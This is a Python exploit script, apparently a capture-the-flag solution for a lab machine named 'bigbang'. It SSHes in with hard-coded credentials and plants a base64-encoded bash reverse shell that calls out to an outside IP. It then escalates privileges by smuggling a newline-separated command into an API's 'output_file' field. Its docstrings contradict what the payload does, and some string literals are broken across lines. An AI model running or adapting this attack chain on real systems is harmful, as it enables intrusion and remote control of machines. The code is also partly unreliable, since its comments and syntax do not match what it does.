```
import paramiko
import os

# Target system credentials
TARGET_IP = "blog.bigbang.htb"

SHAWKING_USER = "shawking"
SHAWKING_PASS = "quantumphysics"

DEVELOPER_USER = "developer"
DEVELOPER_PASS = "bigbang"

def ssh_connect(username, password, command):
    """Establish an SSH connection and execute a command."""
    try:
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(TARGET_IP, username=username, password=password)

        stdin, stdout, stderr = client.exec_command(command)
        output = stdout.read().decode().strip()

        client.close()
        return output
    except Exception as e:
        print(f"[ERROR] SSH connection failed: {e}")
        return None


def retrieve_user_flag():
    """Retrieve and print the /home/shawking/user.txt flag."""
    print("[+] Connecting ...")
    flag = ssh_connect(SHAWKING_USER, SHAWKING_PASS, """echo 'echo
\'L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEwLzU1NTUgMD4m
MScK\'|base64 -d|bash > /tmp/revshell.sh' ; cat /home/shawking/user.txt""")
    if flag:
```

```
        print(f"[+] User flag: {flag}")
    else:
        print("[ERROR] Failed to retrieve user flag.")

def get_bearer_token_via_ssh():
    """SSH into developer and extract the Bearer token using the login command."""
    print("[+] Logging into developer via SSH to retrieve Bearer token...")

    ssh_command = (
        "curl --max-time 40 -s -X POST -H 'Content-Type: application/json' "
        "-d '{\"username\":\"developer\", \"password\":\"bigbang\"}' "
        "http://localhost:9090/login | grep -oP '\"access_token\":\"\\K[^\"]+'"
    )

    token = ssh_connect(DEVELOPER_USER, DEVELOPER_PASS, ssh_command)

    if token:
        print(f"[+] Bearer Token: {token}")
        return token.strip()
    else:
        print("[ERROR] Failed to retrieve Bearer token.")
        return None

def execute_root_exploit_via_ssh(bearer_token):
    """Use the Bearer token to copy /root/root.txt to /home/developer/pwned.txt via SSH."""
    print("[+] Sending payload to copy root.txt to pwned.txt...")

    exploit_command = (
        f'curl -s -X POST "http://127.0.0.1:9090/command" '
        f'-H "Authorization: Bearer {bearer_token}" '
        f'-H "Content-Type: application/json" '
        f"--data '{{\"command\":\"send_image\", \"output_file\":\"\\nsh /tmp/revshell.sh\"}}'"
    )

    ssh_connect(DEVELOPER_USER, DEVELOPER_PASS, exploit_command)
    print("[+] Exploit executed, checking pwned.txt...")

def read_and_delete_pwned():
```

```
    """Read and print the root flag from pwned.txt, then delete it."""
    print("[+] Reading pwned.txt...")
    root_flag = ssh_connect(DEVELOPER_USER, DEVELOPER_PASS, "cat
/home/developer/pwned.txt")

    if root_flag:
        print(f"[+] Root flag: {root_flag}")
        print("[+] Deleting pwned.txt to clean up...")
        ssh_connect(DEVELOPER_USER, DEVELOPER_PASS, "rm
/home/developer/pwned.txt")
    else:
        print("[ERROR] Root flag not found.")

if __name__ == "__main__":
    retrieve_user_flag()
    bearer_token = get_bearer_token_via_ssh()
    if bearer_token:
        execute_root_exploit_via_ssh(bearer_token)
        read_and_delete_pwned()
```